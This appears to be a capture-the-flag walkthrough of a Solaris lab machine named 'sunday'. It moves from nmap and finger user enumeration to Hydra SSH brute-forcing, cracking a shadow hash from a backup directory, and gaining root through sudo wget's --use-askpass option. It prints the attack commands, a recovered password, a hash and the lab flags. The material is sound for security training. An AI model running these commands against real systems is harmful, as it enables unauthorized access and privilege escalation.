Nmap Results
The typical nmap SYN scan didn't work out for me at first, so I tried a XMAS scan:
sudo nmap -Pn -p- -sX --min-rate 10000 -A -oN scan.txt 10.10.10.76Nmap Xmas Scan
# Nmap 7.93 scan initiated Tue Apr 11 15:47:25 2023 as: nmap -Pn -p- -sX --min-rate 10000 -A -oN scan.txt 10.10.10.76
Nmap scan report for 10.10.10.76
Host is up (0.013s latency).
Not shown: 65530 open|filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
79/tcp open finger?
| fingerprint-strings:
| GenericLines:
| No one logged on
| GetRequest:
| Login Name TTY Idle When Where
| HTTP/1.0 ???
| HTTPOptions:
| Login Name TTY Idle When Where
| HTTP/1.0 ???
| OPTIONS ???
| Help:
| Login Name TTY Idle When Where
| HELP ???
| RTSPRequest:
| Login Name TTY Idle When Where
| OPTIONS ???
| RTSP/1.0 ???
| SSLSessionReq, TerminalServerCookie:
|_ Login Name TTY Idle When Where
|_finger: No one logged on\x0D
111/tcp open rpcbind 2-4 (RPC #100000)
515/tcp open printer
6787/tcp open ssl/http Apache httpd 2.4.33 ((Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14)
| ssl-cert: Subject: commonName=sunday
| Subject Alternative Name: DNS:sunday
| Not valid before: 2021-12-08T19:40:00
|_Not valid after: 2031-12-06T19:40:00
| http-title: Solaris Dashboard
|_Requested resource was https://10.10.10.76:6787/solaris/
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.33 (Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14
|_ssl-date: TLS randomness does not represent time
22022/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
| 2048 aa0094321860a4933b87a4b6f802680e (RSA)
|_ 256 da2a6cfa6bb1ea161da654a10b2bee48 (ED25519)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port79-TCP:V=7.93%I=7%D=4/11%Time=6435B964%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,12,"No\x20one\x20logged\x20on\r\n")%r(GetRequest,93,"Login\x20
SF:\x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x2
SF:0\x20When\x20\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nGET\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\
SF:?\r\nHTTP/1\.0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:?\?\?\r\n")%r(Help,5D,"Login\x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\r\nHELP\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\?\?\?\r\n")%r(HTTPOptions,93,"Login\x20\x20\x20\x20\x20\x20\x20Name\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\
SF:r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\?\?\?\r\nHTTP/1\.0\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\?\?\?\r\nOPTIONS\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n")%r(RTSPRequest,93,"Login\x20\x20
SF:\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x2
SF:0When\x20\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nOPTIONS\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nRTSP/1\.0\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n")%r(SS
SF:LSessionReq,5D,"Login\x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\r\n\x16\x03\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\?\?\?\r\n")%r(TerminalServerCookie,5D,"Login\x20\x20\x20\x20\x20\
SF:x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20
SF:\x20\x20Where\r\n\x03\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Oracle Solaris 10 (93%), Oracle Solaris 11 or OpenIndiana (93%), Sun Solaris 11.3 (93%), Oracle Solaris 11 (92%), Nexenta OS 3.0 - 3.1.2 (OpenSolaris snv_130 - snv_134f) (91%), Sun Solaris 11 (snv_151a) or OpenIndiana oi_147 (91%), Sun Solaris 11 (snv_151a) or OpenIndiana oi_147 - oi_151a (91%), Sun OpenSolaris snv_129 (91%), Sun Storage 7410 NAS device (90%), Sun Solaris 11 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 12.55 ms 10.10.14.1
2 12.67 ms 10.10.10.76
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 11 16:36:11 2023 -- 1 IP address (1 host up) scanned in 2925.97 secondsService Enumeration
TCP/79
sudo apt install -y fingerInstall finger client
The command execution examples on the HackTricks article didn't work for me on the system.
finger @10.10.10.76Attempt to enumerate logged on users
finger root@10.10.10.76See what happens when enumerating usernames
finger -l root@10.10.10.76Running with '-sl' flags gives more verbose output
It seems like we might be able to get more details about potential usernames on the system. I am going to try and bruteforce some usernames using PowerShell and a wordlist. I'll use a smaller wordlist first and expand if needed.
cat /usr/share/seclists/Usernames/Names/names.txt | ForEach-Object -Parallel { $user = $_ ; finger $user@10.10.10.76 | grep -E '\w{1,}.*<.*>' >> "$PWD/finger.txt" }PowerShell oneliner, enumerate usernames and use grep to filter out noise
I was able to enumerate some pretty standard service accounts, but root, sammy, and sunny all look very interesting.
TCP/6787
6787/tcp open ssl/http Apache httpd 2.4.33 ((Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14)
| ssl-cert: Subject: commonName=sunday
| Subject Alternative Name: DNS:sunday
| Not valid before: 2021-12-08T19:40:00
|_Not valid after: 2031-12-06T19:40:00
| http-title: Solaris Dashboard
|_Requested resource was https://10.10.10.76:6787/solaris/
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.33 (Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14
|_ssl-date: TLS randomness does not represent timeNmap Output
Looking at the nmap output, it's obvious this is web server running with a TLS cert. When the nmap HTTP client hit the server, it was redirected to https://10.10.10.76:6787/solaris/.
I could use the usernames I discovered from the finger to login here, but the finger output is very clear that the users last logged in via SSH and the SSH server has password authentication enabeld.
TCP/22022
Based on the finger enumeration on TCP/79, create a username wordlist for bruteforcing:
echo 'sammy' > usernames.txt
echo 'sunny' >> usernames.txtI'll use hydra to bruteforce the logins.
hydra -I -L usernames.txt -P /usr/share/seclists/Passwords/probable-v2-top1575.txt -t 64 -s 22022 ssh://10.10.10.76I tried the smaller probable list and moved up to the larger one here, and got a hit
I found a valid SSH credential sunny:sunday, which — in hindsight — makes sense given the name of the target.
Exploit
The first and most glaring issue is the outdated operating system and software running on the target. Beyond that, the system administrator did not take care to firewall the finger daemon, which allows a remote user to bruteforce the service to enumerate a list of usernames. The system administrator has also configured the SSH server with password authentication, when key authentication would be the better option.
Post-Exploit Enumeration
Operating Environment
OS & Kernel
NAME="Oracle Solaris"
PRETTY_NAME="Oracle Solaris 11.4"
CPE_NAME="cpe:/o:oracle:solaris:11:4"
ID=solaris
VERSION=11.4
VERSION_ID=11.4
BUILD_ID=11.4.0.0.1.15.0
HOME_URL="https://www.oracle.com/solaris/"
SUPPORT_URL="https://support.oracle.com/"
SunOS sunday 5.11 11.4.0.15.0 i86pc i386 i86pc
Current User
uid=101(sunny) gid=10(staff)
User sunny may run the following commands on sunday:
(root) NOPASSWD: /root/troll
Users and Groups
Local Users
sammy:x:100:10::/home/sammy:/usr/bin/bash
sunny:x:101:10::/home/sunny:/usr/bin/bash
Local Groups
Sunny is a member of the 'staff' group
root::0:
other::1:root
bin::2:daemon,root
sys::3:bin,adm,root
adm::4:daemon,root
mail::6:root
tty::7:adm,root
lp::8:adm,root
staff::10:
daemon::12:root
dialout::13:
sysadmin::14:
games::20:
ftp::21:
sshd::22:
smmsp::25:
aiuser::61:
netadm::65:
openldap::75:
webservd::80:
mlocate::95:
unknown::96:
pkg5srv::97:
nobody::60001:
noaccess::60002:
nogroup::65534:
Network Configurations
Interfaces
lo0: flags=2001000849<UP,LOOPBACK,RUNNING,MULTICAST,IPv4,VIRTUAL> mtu 8232 index 1
inet 127.0.0.1 netmask ff000000
net0: flags=100001000843<UP,BROADCAST,RUNNING,MULTICAST,IPv4,PHYSRUNNING> mtu 1500 index 2
inet 10.10.10.76 netmask fffffe00 broadcast 10.10.11.255
lo0: flags=2002000849<UP,LOOPBACK,RUNNING,MULTICAST,IPv6,VIRTUAL> mtu 8252 index 1
inet6 ::1/128
Open Ports
127.0.0.1.5999 *.* 0 0 256000 0 LISTEN
127.0.0.1.631 *.* 0 0 256000 0 LISTEN
127.0.0.1.25 *.* 0 0 256000 0 LISTEN
127.0.0.1.587 *.* 0 0 256000 0 LISTEN
Processes and Services
Interesting Services
online 16:55:08 svc:/network/smb:default
online 16:55:36 svc:/application/cups/in-lpd:default
online 16:55:36 svc:/network/finger:default
online 16:55:42 svc:/network/smtp:sendmail
online 16:55:31 svc:/network/rpc/bind:default
Interesting Files
/backup/*.backup
I'm combining the output from both files here, which contains some possible shadow hashes for both sunny and sammy. Since I already have a good password for sunny, I'm just going to focus on sammy.
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
Privilege Escalation
Lateral to Sammy
During my enumeration, I found an interesting /backup directory which appeared to hold some shadow hashes for both sammy and sunny. Since I am already logged in as sunny, I focused solely on sammy's password hash. I copied and pasted the hash on my machine and used john to crack it.
The first thing I did upon logging in as sammy is check the user's sudo privileges. Turns out, sammy has passwordless sudo as root running /usr/bin/wget. I checked GTFOBins for wget and sure enough, it looks like I can leverage this for privilege escalation to root.
Sammy to Root
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/bash\n/bin/bash 1>&0' >$TF
sudo wget --use-askpass=$TF 0
Flags
User
44174e9e3b4409cdabdefe3af7c8cff6
Root
de966997aa34b7a5779f3d337f398aa9
